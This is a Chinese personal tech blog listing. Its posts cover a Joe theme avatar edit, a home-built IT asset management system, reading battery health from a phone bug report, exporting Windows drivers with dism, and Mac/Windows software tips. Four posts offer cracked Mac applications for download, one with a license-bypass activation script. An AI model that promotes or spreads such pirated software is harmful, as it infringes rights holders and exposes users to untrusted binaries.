strtolower($mail); $md5MailLower = md5($mailLower); $qqMail = str_replace('@qq.com', '', $mailLower); if (strstr($mailLower, "qq.com") && is_numeric($qqMail) && strlen($qqMail) < 11 && strlen($qqMail) > 4) {3、编辑 DyUtils.php 位于/usr/themes/joe/times//* 动态评论头像源同步,从第48行开始 */ function ParseAvatar($mail) { if (function_exists('_getAvatarByMail')) return _getAvatarByMail($mail); echo "https://cn.cravatar.com/avatar/".md5(strtolower(trim($mail)))."?d=mm"; echo "https://cravatar.cn/avatar/".md5(strtolower(trim($mail)))."?d=mm"; }4、编辑 global.php 位于/usr/themes/joe/public/seting//* 后台设置说明文案同步,从第164行开始 */ NULL, NULL, '【11】自定义头像源(非必填)', '介绍:用于修改全站头像源地址 <br> 例如:https://cn.cravatar.com/avatar/ <br> 其他:非必填,默认头像源为https://cn.cravatar.com/avatar/ <br> 例如:https://cravatar.cn/avatar/ <br> 其他:非必填,默认头像源为https://cravatar.cn/avatar/ <br> https://dn-qiniu-avatar.qbox.me/avatar/<br> 注意:填写时,务必保证最后有一个/字符,否则不起作用!' ); $JCustomAvatarSource->setAttribute('class', 'joe_content joe_global');二、建立本地头像源建立joe\avatar目录,并将头像图片全部存放到此目录;三、变更头像获取机制1、编辑 function.php 位于/usr/themes/joe/core//* 通过邮箱生成头像地址,从第316行开始 */ function _getAvatarByMail($mail) { $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cravatar.cn/avatar/'; $mailLower = strtolower($mail); $md5MailLower = md5($mailLower); $qqMail = str_replace('@qq.com', '', $mailLower); if (strstr($mailLower, "qq.com") && is_numeric($qqMail) && strlen($qqMail) < 11 && strlen($qqMail) > 4) { echo 'https://thirdqq.qlogo.cn/g?b=qq&nk=' . $qqMail . '&s=100'; } else { echo $gravatarsUrl . $md5MailLower . '?d=mm'; $index = abs(crc32($mailLower)) % 139 + 1; echo Helper::options()->themeUrl . '/avatar/avatar' . $index . '.jpg'; } }; /* 评论名片*/2、编辑 core.php 位于/usr/themes/joe/core//* 通过邮箱生成头像地址(字符串),从第272行开始 */ function _getAvatarUrlByMail($mail) { if (empty($mail)) {$mail = '';} $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cravatar.cn/avatar/'; $mailLower = strtolower($mail); $md5MailLower = md5($mailLower); $qqMail = str_replace('@qq.com', '', $mailLower); if (strstr($mailLower, "qq.com") && is_numeric($qqMail) && strlen($qqMail) < 11 && strlen($qqMail) > 4) { return 'https://thirdqq.qlogo.cn/g?b=qq&nk=' . $qqMail . '&s=100'; } else { return $gravatarsUrl . $md5MailLower . '?d=mm'; $index = abs(crc32($mailLower)) % 139 + 1; return Helper::options()->themeUrl . '/avatar/avatar' . $index . '.jpg'; } } /*逻辑说明:1、QQ 数字号邮箱 → QQ 头像(不变)2、其他邮箱 → 有avatar显示avatar头像,没有则邮箱 CRC32哈希值对本地头像取模,固定分配一张本地头像;并且同一个邮箱永远只显示同一张头像。前后对比:四、修改好的文件包下载(注意这是基于nobb站长的Joe魔改主题包而作的修改,其它版本的joe主题请自行测试),回复可见
2026年05月31日
18 阅读
0 评论
0 点赞
2026-05-20
开发了一套IT资产管理系统
一、系统介绍 我的零售业务有好多的IT设备,销售给客户的数据原来都是表格管理,不仅查询不方便,客户也会有想要知道设备质保期的信息。由于市面上一直没能够找到符合我预期的产品,所以一直也就这样将就着用着。 前两天心血来潮下载了Cursor,结果在这AI编程器的配合下,竟然花了两天时间手搓出了个不错的资产管理系统,不管是界面、还是功能上,都是非常符合我原先的预期了。 所以这是一套面向 IT 服务商的设备与资产管理平台,包含前端客户自助查询系统和后端资产管理系统两部分。20260525:为简化布署,系统已改为php语言,以下描述是初版,不再更新。稍后有时间会重新编辑功能说明。有兴趣的可以直接点击新版宣传页进行查看: IT设备销售管理系统 ,有购买意向或者定制功能的的可以直接联系站长。二、技术栈层级技术后端Express 5 + Node.js数据库MySQL(mysql2 连接池)Sessionexpress-session + express-mysql-session(MySQL 持久化,24h 有效期)安全helmet(安全响应头)、cors、express-rate-limit(限流)日志winston + winston-daily-rotate-file(按天轮转,保留 30 天)HTTP 日志morgan压缩compression(Gzip)文件上传自定义 multipart 解析数据导出exceljs(Excel)、pdfkit(PDF)前端框架Vue 3 + Vite + Element Plus路由vue-router 4(createWebHistory,懒加载)状态管理PiniaHTTP 客户端Axios图表Chart.js 4 + vue-chartjs三、项目结构├── server/ # 后端 │ ├── index.js # Express 入口,路由注册 │ ├── schema.sql # 数据库建表语句 │ ├── .env # 环境变量配置 │ ├── lib/ # 业务模块 │ │ ├── db.js # 数据库连接池与初始化 │ │ ├── env.js # .env 加载器 │ │ ├── auth.js # 认证(登录/登出/改密/会话校验) │ │ ├── session.js # Session 持久化配置 │ │ ├── rate-limiter.js # 请求限流 │ │ ├── devices.js # 设备 CRUD、公开查询、图片上传 │ │ ├── customers.js # 客户 CRUD、联系人管理 │ │ ├── assets.js # 资产 CRUD(配件/软件/耗材/服务) │ │ ├── todos.js # 维护记录 CRUD │ │ ├── dashboard.js # 仪表盘统计与图表 │ │ ├── config.js # 站点配置读写、LOGO 上传 │ │ ├── audit.js # 操作审计日志 │ │ ├── export.js # Excel / PDF 导出 │ │ ├── faults.js # 故障记录管理(JSON 文件存储) │ │ ├── logger.js # Winston 日志配置 │ │ ├── pagination.js # 分页工具 │ │ └── utils.js # 通用工具函数 │ └── package.json ├── public-vue/ # 前端构建产物(Vite build 输出) │ └── assets/ # 代码分割后的 JS/CSS 文件 └── data/ # 数据文件 └── faults.json # 故障记录(JSON 存储)四、环境要求Node.js >= 18MySQL >= 8.0五、快速开始# 1. 进入服务端目录 cd server # 2. 安装依赖 npm install # 3. 配置环境变量 cp .env.example .env # 编辑 .env,填入数据库连接信息和管理员账号 # 4. 启动服务 npm start # 或指定端口 PORT=8020 npm start启动后访问:前台查询页:http://localhost:3000/管理后台:http://localhost:3000/login六、环境变量配置在 server/.env 文件中配置:变量名说明默认值PORT服务监听端口3000DB_HOSTMySQL 主机地址—DB_PORTMySQL 端口3306DB_NAME数据库名称support_itDB_USER数据库用户名support_itDB_PASSWORD数据库密码自己设置ADMIN_USERNAME管理员用户名adminADMIN_PASSWORD管理员密码admin123SESSION_SECRETSession 加密密钥随机生成七、功能说明1、前台 — 客户自助查询前台面向客户,提供设备信息自助查询功能,如购买日期、质保期、脱保期、设备图片等。访问地址: /功能:前台设备查询输入客户编码(必填,精确匹配,防止有闲得蛋疼的访客手痒)输入设备序列号(必填,支持部分模糊匹配)单条结果直接展示详情卡片;多条结果展示列表,点击可展开,图片可以点击浮动放大查看详情展示:设备名称、序列号、客户信息、销售日期、质保期、质保截止日期、质保状态(在保/已过保/已报废)、多张设备图片(缩略图 + 灯箱预览)、备注多图灯箱支持左右箭头切换和圆点指示维护模式后台开启维护模式后,前台自动跳转至维护提示页面,暂停查询服务2、后台 — 管理系统访问地址: /login(未登录时自动跳转)默认账号: admin / admin1232.1、 业务看板后台首页,展示关键业务数据概览。统计卡片(8 个):设备总数、客户总数、过保设备数、在保设备数、设备总值、配件总值、耗材总值、资产总值趋势图表(Chart.js 折线图):展示各类资产价值随时间的变化趋势支持按月 / 按年切换统计粒度系统每月自动记录快照,历史数据持久化存储2.2、 维护记录管理设备的维护/维修/巡检记录。列表展示:标题、关联设备、维护日期、优先级(高/中/低)、状态(待处理/进行中/已完成)新增 / 编辑 / 删除维护记录关联设备:下拉选择已有设备,自动填充设备名称和序列号关键词搜索:支持按标题、设备名、备注模糊搜索状态标签:已完成(绿色)、待处理(红色)、进行中(蓝色)2.3、 客户管理管理客户信息及联系人。列表展示:客户编码、名称、地址、网址、联系人列表新增 / 编辑 / 删除客户多联系人:每个客户支持添加多个联系人(姓名、邮箱、电话),可动态增删唯一性校验:客户编码和名称不可重复删除保护:存在关联设备或资产时禁止删除自动同步:修改客户名称时,自动同步更新所有关联设备和资产的客户名称字段客户联动选择器:在设备/资产表单中输入编码自动匹配名称,反之亦然2.4、 设备管理管理客户设备信息,每台设备最多支持 3 张图片。列表展示:图片缩略图(+N 角标)、序列号、设备名称、客户编码/名称、销售日期、质保期、质保截止日期、质保状态(在保/过保/已报废)、价格新增 / 编辑 / 删除设备设备图片上传:每台设备最多 3 张,支持 JPG/PNG/GIF/WEBP,最大 5MB图片预览:表格内单击预览,支持灯箱大图浏览设备报废:标记设备为报废状态质保自动计算:根据销售日期 + 质保月数自动计算质保截止日期和状态客户联动:输入客户编码或名称自动匹配另一项唯一性校验:同一客户下序列号不可重复关键词搜索:支持按序列号、设备名称、客户名称搜索2.5、 资产管理(配件 / 软件 / 耗材 / 服务)四类资产统一管理,通过路由参数 :type 区分。2.5.1、配件列表展示:图片缩略图、名称、编码、所属设备、客户编码/名称、单价、数量、总价、质保状态、备注新增 / 编辑 / 删除配件质保状态自动计算(在保/已过保)报废功能归属设备:可选关联到已有设备,选择设备后自动匹配客户编码和名称客户联动选择:输入客户编码自动匹配客户名称质保期输入:支持设置质保月数2.5.2、软件功能与配件管理类似,支持质保状态自动计算、报废、归属设备关联、质保期输入。2.5.3、耗材列表展示:图片缩略图、名称、编码、所属设备、客户编码/名称、单价、数量、总价、购买日期、备注新增 / 编辑 / 删除耗材归属设备:可选关联到已有设备,选择后自动匹配客户编码和名称购买日期:支持记录购买日期无质保期字段2.5.4、服务列表展示:名称、编码、客户编码/名称、价格、起始日期、服务时间、服务状态、备注新增 / 编辑 / 删除服务服务期限自动计算:起始日期 + 服务月数脱保状态自动判断无数量字段(服务按项计费)无归属设备字段2.5.5、资产管理通用功能图片上传:每项资产最多 3 张,支持预览和删除Excel 导入/导出客户联动:所有资产模块均支持客户编码/名称自动匹配2.6、 系统配置管理系统全局设置。基础配置系统名称(同步前台标题和后台侧边栏)站点域名文字 LOGO(侧边栏显示)图片 LOGO 上传(支持 JPG / PNG / GIF / WEBP / SVG,最大 2MB)调试/维护模式开关(开启后前台跳转维护页)版权信息:支持 HTML 内容,显示在前台和后台页脚SEO / TDK:保存后服务端注入 HTML,立即生效页面标题、SEO 元信息从后台配置读取,服务端直接注入 HTML系统名称、LOGO、版权信息动态渲染2.7、 数据导出支持将各模块数据导出为 Excel 或 PDF 文件。可导出模块:设备列表、资产列表(配件/软件/耗材/服务)、客户列表、维护记录、审计日志导出格式:Excel(.xlsx)/ PDF导出字段包含各模块的核心信息2.8、 审计日志系统自动记录所有关键操作,并提供后台查询界面。记录内容:操作人、操作类型、目标类型、目标 ID、操作详情、IP 地址、浏览器标识、操作时间自动记录的操作:登录/登出、设备的增删改/报废、客户的增删改、资产的增删改/报废、维护记录的增删改、修改密码、更新系统配置、上传 LOGO 等查询筛选:操作人、操作类型、日期时间范围分页浏览:每页 20 条2.9、 界面主题暗色主题:全后台采用暗色主题配色,Element Plus 组件(表格、输入框、按钮、对话框、下拉框、分页、标签、气泡提示等)全局适配暗色统一圆角:表格 12px 圆角,与卡片风格一致多级菜单:资产侧边栏按类型分类八、数据库表结构系统共使用 10 张数据表:表名说明admin_users管理员账号(用户名、密码哈希、盐值)site_settings站点配置(KV 键值对结构)customers客户信息(编码、名称、地址、网址)customer_contacts客户联系人(姓名、邮箱、电话,关联客户)devices设备信息(序列号、名称、客户、质保、价格、图片 url×3、状态)assets资产信息(配件/软件/耗材/服务统一存储,含类型、质保、服务、归属设备等字段)todos维护记录(标题、状态、优先级、关联设备)value_history资产价值历史快照(按月/年记录各类资产价值)sessionsSession 持久化(express-mysql-session 自动管理)audit_logs操作审计日志(操作人、类型、详情、IP、时间)完整建表语句见 server/schema.sql。九、部署说明1、前端/public-vue/2、使用 PM2 守护进程(推荐)npm install -g pm2 cd server pm2 start index.js --name "support-it" pm2 save pm2 startup3、使用 Nginx 反向代理server { listen 80; server_name your-domain.com; location / { proxy_pass http://127.0.0.1:3000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } }4、数据库初始化系统启动时会自动执行 server/schema.sql 创建所需表结构,无需手动导入。5、宝塔面板布署教程5.1、资产管理系统的文件列表说明show 目录:系统功能说明图片及演示网页database.sql.zip 示例数据库文件public-vue.zip 前端程序readme.md 系统功能说明server.zip 后端程序5.2、建立数据库在宝塔的数据库中建立如下数据库:记得把这些信息拷贝备用:数据库名称、帐号、密码数据库建立完成后,上传示例数据库文件并导入database.sql.zip5.3、上传前后端程序在宝塔文件管理中建立系统专用的目录Asset-Management-System并把前后端程序上传如下:public-vue为前端程序目录,server为后端程序目录5.4、修改数据库连接信息server目录下有个.env文件,打开它:把你刚才建立的数据库里的信息填入,如实填就行,不要和我的一样。5.5、建立前端网站网站建立的时候选择纯静态即可,网站目录要选择前端目录public-vue5.6、安装及运行服务端在宝塔的--网站--Node项目中,打开Node项目管理器,安装好Node.js依赖再添加一个Node项目,目录要选择后端目录server,其它的都是自动匹配的,不需要手动去填,最下面的包管理器要手动选择npm顺利的话确定之后后端程序就应该跑起来了后端面板查看一下运行日志,确定没问题,成功在跑这时候我们就可以通过以下链接进行使用了:管理后台: http://localhost:3000/admin/前台访问: http://192.168.64.13:30005.7、做反代去端口访问程序为了和其它项目共生,默认并没有直接跑80端口,我设置了3000端口使用。为了去端口访问,我们可以在宝塔做个反向代理即可在网站前台项目属性找到反向代理,进行如下设置即可:如此,我们的资产管理系统就算正式上线了!十、安全说明管理员密码使用 scrypt 算法加盐哈希存储登录接口限流 5 次/分钟/IP,防止暴力破解API 接口限流 100 次/分钟/IP(含前台查询和后台管理接口)Session 有效期 24 小时,存储在 MySQL 中使用 helmet 设置安全响应头所有管理接口需登录认证关键操作自动记录审计日志(含 IP 和 User-Agent)十一、管理员密码找回若忘记管理员密码,可通过以下方式重置:1、直接修改数据库# 进入 MySQL mysql -u 数据库用户名 -p # 使用系统数据库 USE support_it; # 删除管理员账号,系统重启后会自动使用 .env 中的配置重新创建默认账号 DELETE FROM admin_users WHERE username = 'admin';重启服务后,系统会自动使用 .env 中配置的 ADMIN_USERNAME 和 ADMIN_PASSWORD 创建管理员账号。2、默认账号用户名:admin(可在 .env 中配置 ADMIN_USERNAME)密码:admin123(可在 .env 中配置 ADMIN_PASSWORD)十二、下载地址百度网盘下载地址,说明:此价格仅是程序包价格,不提供技术支持,请自行研究。若需要代布署至服务器,或者功能需要定制,请联系站长,提供有偿服务。
2026年05月20日
14 阅读
0 评论
0 点赞
2026-05-01
小米K70 PRO手机检测电池健康度及衰减情况
一、为什么要检测电池健康度我的K70 PRO 购于2023年12月月中,到现在也不过就两年半还不到。但是从春节后就明显感觉到电池不给力了已经。状况就是充电特别快,55W快充半小时不到就充满了显示100%,结果原来能用两天不到的,现在半天就见底了,搞得我到哪儿第一件事都要先把充电线给它插上,很麻烦。于是我想检查一下电池的实际容量还有多少,结果网上找的那些方法,基本上都失效了。MIUI也失了它的初衷,从MIUI不断升级,再迭代到如今 HyperOS,改了又改,升了又升,整天变化。现在的系统臃肿不堪,看上去好多功能,实际我们需要的一些方便的功能反而不愿意给你,藏着掖着,就比如这查看电池实际容量或真正健康程度的功能,你真正显示出来会死啊?然而系统里它就给你显示一个良好就啥也没了。二、提取手机Bug检测报告通过拨号键盘输入 *#*#284#*#*,输入后系统会自动在下拉菜单栏生成手机Bug检测报告,时间要3-5分钟,耐心等它生成完成。生成完成后,想办法把这个报告压缩包拷到电脑端,接下来我们要在电脑端操作。这个压缩包容量大小在90M不到点,在电脑端解压后,里面还有一个子压缩包,每个人的手机显示的名称肯定是不一样的,我这里的是如下图所示,50M左右:再次解压,得到一个容量大小在200M不到的正式Bug报告,文本文件:这就是我们需要的K70 PRO BUG检测报告了,里面有电池的一切数据,接下来就是要从报告中查找电池的数据了。三、从Bug报告中读取电池数据打开这个报告,全文搜索CYCLE_COUNT,我的这份文件在837867行左右,有如下数据:{card-default label="Bug报告第837867行处内容" width="100%"}extras: Bundle[{android.os.extra.CAPACITY_LEVEL=-1, technology=Li-poly, icon-small=17304031, max_charging_voltage=0, health=2, max_charging_current=0, status=3, plugged=0, present=true, android.os.extra.CHARGING_STATUS=0, seq=2678, charge_counter=852000, level=24, scale=100, temperature=351, voltage=3688, android.os.extra.CYCLE_COUNT=819, invalid_charger=0, battery_low=false}]{/card-default}从这段日志里提取的电池核心数据:CYCLE_COUNT=819:电池充电循环次数 = 819 次charge_counter=852000:当前电量(单位 µAh,对应 24% 电量)health=2:电池硬件状态正常(无故障)scale=100:电量百分比的基准值level=24:当前电量 24%,和 charge_counter 对应用这组数据,我们可以测算出当前实际电池容量▶ level=24:当前电量为 24%▶charge_counter=852000:当前电量对应的容量(单位:µAh)▶计算电池实际容量: 实际电池容量=852000 μAh÷24%=3,550,000 μAh=3550 mAh ▶K70 Pro 的出厂设计容量 = 5000 mAh,计算电池健康度: 实际健康度=3550÷5000×100%=71% 好家伙,衰减到这个程度了,出厂5000 mAh,实际只有3550 mAh了,仅为设计容量的 71%,健康度低到这个程度,系统里还TM舔着脸告诉你“良好”,好你妹。并且循环次数也有819了,这个次数已经接近行业标准的 “健康临界值”了(一般 800-1000 次后健康度会明显下滑)。通过这个真实的数据说明,这电池接近报废,可以换了。
2026年05月01日
11 阅读
0 评论
0 点赞
2026-04-25
提取 Windows 系统里的驱动程序
一、一个好笑的翻车故事回想到前一阵给一位客户设置电脑发生的事,差点翻车,这里把事情经过整理一下,留点经验。事情是这样的,客户的电脑是京东买的,叫什么HUWEI还是什么品牌的,山寨笔记本。说到这里,也只能感叹世风日下,京东也不干净了,天下乌鸦一片(样)黑。不过当时没仔细看,掉沟里去了。那个笔记本是N95的芯片,2T M.2的SSD(记住就是这玩艺让我差点翻车),显卡更流P,显示的是GTX1060 3G。当时的情况是客户说C盘红了,空间满了。我一看C盘120G空间,只有3.5G可用了。再一看2T的硬盘呢,以当下这个软件环境,C盘120G确实是不够看的。第一眼看那个HUWEI的标,心想着华为啊,为何会有如此配置的笔记本,只是心里狐疑了一下,没往深处想。然后就老方法,想着用diskgen把硬盘空间切割一下,让C盘空间整成200G,不就解决了么。即不用来回拷数据,也不用重装系统,方便省事。并且这个骚操作我已经用了无数年,从来没有翻车过。可千算万算没算到这破机器压根就不是什么华为,那个硬盘当时已经有坏道了。切割到一半,进度明显慢了,我当时以为是客户经过近两年的使用,数据太多太杂,可能需要花点时间,刚好当时天色已晚,就让机器自己慢慢切割吧,准备第二天过来继续收尾。好家伙,第二天过来,进度条一点没有继续,还是卡在头天晚上的位置,这里我才慌了神,这时我才发现这破玩艺叫HUWEI,这时我才发现这M2 SSD 品牌未知。全是山寨的东西,你指望它能有什么品质可言,坏的随时随地。最糟心的还不是这个,客户这时才和我说在E盘有多年工作文件,我......当时的情况是diskgen已经提示硬盘有坏道了,并且E盘已经打不开了,不开了,开了,了......玩了二十多年PC的老鸟,今我总算尝到了翻车的滋味...没办法,把客户电脑带了回来,准备做数据恢复。还好,经过一翻努力,数据是成功拿到手了,那两天一身汗,他大爷的。接下来是换硬盘,重新安装系统。就在我刚刚稍一放下心的时候,又在显卡驱动上栽了跟头。折腾了一天,没把那个所谓的GTX 1060 驱动装上。怎么试都不对,试了无数个版本的驱动都装不上,装上就提示感叹号,不能成功启用。我TM......然后我去查它的硬件ID,和官方的GTX 1060做对比,一对比我艹,这明显不是什么1060,可我在旧系统上明明是看到显示的1060的呀?根据ID我又网上到处翻资料,总算是幡然醒悟,这货原来是那个无头矿卡,它叫P106。然后我又到处找P106的驱动,又是一通折腾,依然装不上。网上的资料有限,意思是这货还不是简单的P106,分好多版本,这货应该是P106M,ID有别于市面上流行的P106,而且驱动根本不通用。二、从旧系统文件提取驱动程序没折了,我突然想到,旧硬盘虽然有坏道了,E盘打不开,但是C盘是可以打开的,老的系统还在,那原来的旧驱动肯定可以提取出来的呀。于是我小心翼翼的把旧硬盘的\WINDOWS\System32\DriverStore目录整个给拷了出来。直接目录搜索安装还不行,一样装不上,然后试着强制安装,成功了:泪流满面......还好结局总算是好的,客户的资料没丢,也解决了问题。在这里给各位大侠一些提醒:山寨的东西千万不要碰...其实从旧系统提取驱动我老早就知道了,只是当时急得失了智。如果你的系统还在使用,那提取驱动就更方便了。三、从现有系统提取硬件驱动从现有系统提取硬件驱动更简单,在某个盘建立一个保存的目录,这里比如是D:\DRIVEBAK直接运行cmd,输入如下命令即可:dism /online /export-driver /destination:d:\drivebak假如要恢复也很简单:打开设备管理器,在计算机名称上右键--添加驱动程序,选择你备份的目录即可。
2026年04月25日
5 阅读
0 评论
0 点赞
2026-04-08
App Cleaner & Uninstaller Pro - MacOS 优秀的系统清理工具 V9.1.1
App Cleaner & Uninstaller 是一款功能强大的 Mac 应用程序管理工具,它能够帮助用户卸载不需要的应用程序,并删除与之相关的所有文件。以下是这款工具的主要特点:卸载应用程序App Cleaner & Uninstaller 能够彻底卸载应用程序,包括卸载所有相关文件和文件夹,确保不会留下任何残留文件。快速查找应用程序工具提供一个方便的搜索功能,让用户快速找到需要卸载的应用程序。禁用启动项工具提供一个方便的启动项管理器,用户可以轻松地禁用或删除应用程序的启动项,以提高系统性能。清理系统垃圾App Cleaner & Uninstaller 能够扫描系统垃圾文件并清理它们,释放更多的磁盘空间。管理浏览器插件工具能够帮助用户卸载浏览器插件,并删除与之相关的文件和文件夹。总的来说,App Cleaner & Uninstaller 是一款非常实用的 Mac 应用程序管理工具。它可以帮助用户彻底卸载应用程序,删除所有相关文件和文件夹,并清理系统垃圾文件。同时,工具还提供了禁用启动项和浏览器插件管理等功能,可以帮助用户提高系统性能并释放更多的磁盘空间。无论是普通用户还是专业用户,都可以受益于这款工具的使用。下载地址:百度网盘(App Cleaner & Uninstaller Pro V9.1.1直装破解版)
2026年04月08日
17 阅读
0 评论
0 点赞
2026-04-08
CleanMyMac X - MacOS 优秀的系统清理工具 V5.4.0
CleanMyMac X是一款Mac上的系统清理和优化工具,由MacPaw公司开发。它可以帮助用户删除无用的文件、清理系统缓存、优化Mac性能等,让Mac运行更加流畅和稳定。CleanMyMac X具有直观、易用的界面,可以让用户轻松地浏览和清理系统中的各种文件和数据。它能够自动扫描Mac系统中的文件,识别并清除垃圾文件、系统缓存、大文件、重复文件、不必要的语言文件等等,从而释放磁盘空间和提升系统性能。此外,CleanMyMac X还提供了一系列优化和维护功能,如卸载程序、修复权限、更新应用程序、优化内存等等。它可以帮助用户卸载不需要的程序和插件,清除不必要的登录项和启动项,同时还可以修复系统文件权限和更新已安装的应用程序。另外,CleanMyMac X还具有强大的隐私保护功能,可以帮助用户保护隐私数据。例如,它可以清除浏览器历史记录、下载记录、Cookie、缓存等等,从而保护用户的隐私安全。总之,CleanMyMac X是一款实用的系统清理和优化工具,可以帮助Mac用户快速清理系统中的垃圾文件,优化系统性能,保护隐私数据。如果您的Mac运行缓慢或需要清理系统垃圾文件,那么CleanMyMac X是您的不二之选。下载地址:百度网盘(CleanMyMac X V5.4.0 直装破解版)
2026年04月08日
19 阅读
0 评论
0 点赞
2026-04-08
iShot Pro - MacOS 优秀的截图和录屏工具 V2.6.4
iShot Pro 是一款功能强大的 Mac 应用程序,可以帮助用户进行屏幕截图和录屏操作。iShot 的特点有:多种截图模式iShot 支持多种截图模式,包括全屏截图、窗口截图、区域截图和自定义截图等。用户可以根据需要选择不同的截图模式,以便更好地满足自己的需求。多种录屏模式iShot 支持多种录屏模式,包括全屏录屏、窗口录屏、区域录屏和摄像头录屏等。用户可以根据需要选择不同的录屏模式,以便更好地满足自己的需求。高质量输出iShot 支持高质量的输出,可以将截图和录屏保存为多种格式,包括 PNG、JPEG、GIF、MP4 等。用户可以根据需要选择不同的输出格式,以便更好地满足自己的需求。多种编辑工具iShot 提供多种编辑工具,包括文本工具、箭头工具、矩形工具、椭圆工具、马赛克工具等。用户可以使用这些工具对截图和录屏进行编辑和标记,以便更好地展示和分享。快捷键支持iShot 支持快捷键操作,用户可以通过设置快捷键来快速进行截图和录屏操作。这样可以提高工作效率和操作体验。摄像头支持iShot 支持摄像头录屏,用户可以使用 Mac 自带的摄像头进行录屏操作。这样可以方便用户进行视频教程、视频演示等操作。用户友好的界面iShot 提供用户友好的界面,使用户可以轻松地使用软件进行截图和录屏操作。软件提供了详细的操作指南和提示,使用户可以快速上手使用。总之,iShot 是一款功能强大的 Mac 应用程序,具有多种特点和优势。它可以帮助用户轻松进行截图和录屏操作,并提供多种编辑工具和高质量输出功能,以便更好地展示和分享。同时,软件还支持摄像头录屏和快捷键操作等功能,提高了工作效率和操作体验。安装方法:先安装,再使用下方的终端批处理进行激活(需要执行两次,第一次执行后在安全性放行)下载地址:百度网盘(iShot Pro V2.6.4 破解版)
2026年04月08日
10 阅读
0 评论
0 点赞
2026-04-08
Magnet Pro - MacOS 优秀的窗口管理工具 V3.0.7
Magnet 是一款可以帮助用户更好地管理和组织他们的窗口,它具有以下主要特点:窗口管理Magnet 可以将窗口自动对齐和调整大小,以便用户可以更轻松地管理多个应用程序和窗口。用户可以使用键盘快捷键或鼠标手势来控制窗口的位置和大小。多显示器支持Magnet 支持多个显示器,可以在不同的屏幕上管理窗口。用户可以将窗口移动到另一个显示器上,或者将它们分割成多个屏幕。自定义布局Magnet 允许用户创建自定义布局,以适应他们的工作流程。用户可以将多个窗口组合成一个布局,并将其保存为模板,以便以后使用。快速切换Magnet 可以帮助用户快速切换窗口,以便更高效地工作。用户可以使用键盘快捷键或鼠标手势来切换窗口,而无需使用鼠标单击。多任务处理Magnet 可以帮助用户更好地处理多个任务。用户可以将多个应用程序和窗口组合在一起,以便更轻松地切换和管理。高效的性能Magnet 是一款高效的应用程序,可以在不影响系统性能的情况下运行。它可以帮助用户更快地完成任务,提高工作效率。用户友好的界面这款应用程序具有直观的用户界面,易于操作。即使是技术新手,也可以轻松地完成窗口管理过程。总之,Magnet 是一款强大且实用的 Mac 应用程序,适用于需要更好地管理和组织窗口的用户。它的窗口管理、多显示器支持、自定义布局、快速切换、多任务处理、用户友好的界面、高效的性能、持续更新使其成为市场上最受欢迎的窗口管理工具之一。下载地址:百度网盘(版本:Magnet Pro V3.0.7 TNT 破解版)
2026年04月08日
17 阅读
0 评论
0 点赞
2026-04-05
macOS 与 Windows 常用软件推荐及应用技巧
第一章:前言相信有使用过这两种系统的人都会有一种深深的无力感,其实最最最最让人感到难受的,是快捷键,特别是那个老大难的Ctrl+C(command+c)和Ctrl+V(command+v)讲真,macos是一套非常优秀的操作系统,特别是它那自成一套的深度睡眠机制,开盖即用,合盖走人,毫无拖踏,它可以让你一秒前还在工作,一秒后已经挎上包奔向下一个目标点。相比于WINDOWS那随时可能开盖变重新开机的休眠机制,简直就是没有对比就没有伤害的最有力的两极分化。抛开所有其它的特性不谈,macos最最吸引我的一点,就是上面那条,不能自拨。耐何自已学习计算机,是99年从DOS开始,然后DOS-WIN3.1-WIN95-98...直至现在的WIN11,从骨子里养成的一些操作习惯,很难一天两天改变,所以在刚开始接触macos之后,和大多数人一样,也经历过一段时间的阵痛期,不随着使用的深入与对macos系统机制的了解,逐渐从抗拒到被深深吸引,故而我打算把我使用macos的一些方法及技巧写出来供大家参考。出发点有两个:一是从 Windows 系统切换到 macOS 系统,面对全新操作逻辑感到陌生、卡顿的新手;二是日常需要同时使用双系统,希望统一操作习惯、提升使用效率的用户。核心目标是帮助大家快速梳理两者在日常使用中的核心差异,无需强行改变自身固有的操作习惯,通过 “统一设置 + 实用技巧” 的方式,实现平滑过渡,规避使用中的不便,建立适合自己的高效操作模式。核心原则:适配优先、实用为主,不追求 “完全贴合某一系统”,而是在保留自身习惯的基础上,灵活调整操作方式,兼顾两者的优势,让双系统使用或系统切换更顺畅,降低记忆成本和操作难度。第二章:日常应用软件差异及适配一、核心软件1、办公软件篇①、officeWindows下主要使用的肯定是微软件自家的 Microsoft Office(Word、Excel、PowerPoint),macOS也有自带的办公套件(Pages、Numbers、Keynote),界面简洁、操作流畅,与苹果生态(iPhone、iPad)联动性强,但与 Windows 的 Office 格式存在轻微兼容问题(如字体显示异常、排版错乱);所以我建议还是安装 Microsoft Office for Mac,功能与 Windows 版本基本一致。下载地址: Microsoft Office LTSC 2024 for MacOS 另外还有一个我们国内的金山wps,这本是一个不错的工具,可以说与微软office可以一争高下,耐何国内生态乱七八糟、乌烟瘴气,各种手段、需要登陆、VIP等等,让我十分嫌弃。②、PDF处理这方面Windows下有相当大的优势,各种阅读、编辑pdf的大中小型应用软件层出不穷,但是比较出名的无外乎是以下这些:万兴PDF专家:这个无论是windows还是macos,两个平台下都有版本:Wondershare PDFelement Pro MacOS系统下:PDF Reader Pro 中文注册版 还有一个更出名的是Adobe公司的Adobe Acrobat Reader Pro DC,这个稍后有需要我也可以发上来。③、思维导图篇比较出名的有Xmind、Wondershare EdrawMax等,稍后放出。④、其它还有一些比如扫描仪管理、OCR识别、虚拟打印机等,稍后我会一一发上来。2、社交软件(日常沟通)以国内环境来说,无非是市面上流行的一些比如微信、QQ之类,这些倒是在两个平台都有相对应的软件可以正常使用,所以这里就不一一细述了。3、系统工具类(辅助使用)①、解压软件Windows解压软件比较有名的有( WINRAR 、 7-zip 这两个工具也都是面向个人免费的,大家可以直接点对应的链接去官网下载安装即可)。不建议使用其它的,特别是比如什么好压、360压缩等,懂的都懂,这些神仙请神容易送神难,也许哪天你会不知不觉发现,它会拖家带口的进驻你的电脑,占用你有限的硬件资源,导致WINDOWS系统越来越臃肿,反应越来越慢。国内臭名昭著的两个全家桶:腾讯管家+360安全卫士,尽量远离。我个人建议可以安装一个 火绒 